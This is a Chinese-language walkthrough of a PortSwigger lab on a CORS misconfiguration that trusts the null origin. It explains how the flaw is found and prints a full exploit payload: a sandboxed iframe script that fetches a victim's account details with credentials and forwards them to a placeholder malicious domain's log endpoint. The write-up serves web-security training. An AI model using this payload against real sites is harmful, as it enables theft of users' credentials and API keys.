学徒-CORS漏洞-受信任的null源
# 实验室:CORS漏洞-受信任的null源
# 题目
该网站具有不安全的 CORS 配置,因为它信任 “null” 源。
若要解决实验室问题,请编写一些 JavaScript 代码,使用 CORS 来检索管理员的 API 密钥,并将代码托管至漏洞利用服务器。当你成功提交管理员的 API 密钥时,该实验就解决了。
你可以使用以下凭据登录到自己的帐户:wiener:peter
- name: 实验室-学徒
desc: CORS漏洞-受信任的null源 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/cors/lab-null-origin-whitelisted-attack
bgColor: '#001350'
textColor: '#39d50c'
1
2
3
4
5
6
2
3
4
5
6
# 实操
点击 “ACCESS THE LAB” 进入实验室。
进入实验室,点击 “My account” 访问登录界面,并使用题目中提供的用户名和密码进行登录。
在账户页面中,你可以看到当前账户的 API 密钥。
和上一个实验室相同,API 密钥通过另一个请求获取。
指定任意Origin
值,响应中未返回对应的 ACAO 标头。
说明客户端指定的 Origin 不能动态生成服务端的 ACAO 标头。
指定null
源,响应中返回了对应的 ACAO 标头。
说明允许来自空源的跨域访问。
先尝试一下典型的 CSRF 攻击载荷。
访问测试,来源不被允许。
查看请求数据包,Origin
的值为漏洞利用服务器的 URL。
如果想在传递空源,则可以使用iframe
标签,将典型的 CORS 攻击载荷包裹进去:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
function reqListener() {
window.location='<恶意域>/log?key='+this.responseText;
}
var req = new XMLHttpRequest();
req.onload = reqListener;
req.withCredentials = true;
req.open('GET', 'https://<受攻击的域>/accountDetails', true);
req.send();
</script>">
</iframe>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
2
3
4
5
6
7
8
9
10
11
12
13
14
将修改后的载荷保存至漏洞利用服务器上。
访问测试,可以正常加载和执行。
查看产生的请求,正确包含了null
值,并且获取到了当前账户的信息。
发送给受害用户。
等待一会,查看日志记录,成功捕获到受害用户的账户信息。
复制其中的 API 密钥。
回到实验室页面,提交 API 密钥。
密钥正确,实验完成。
编辑 (opens new window)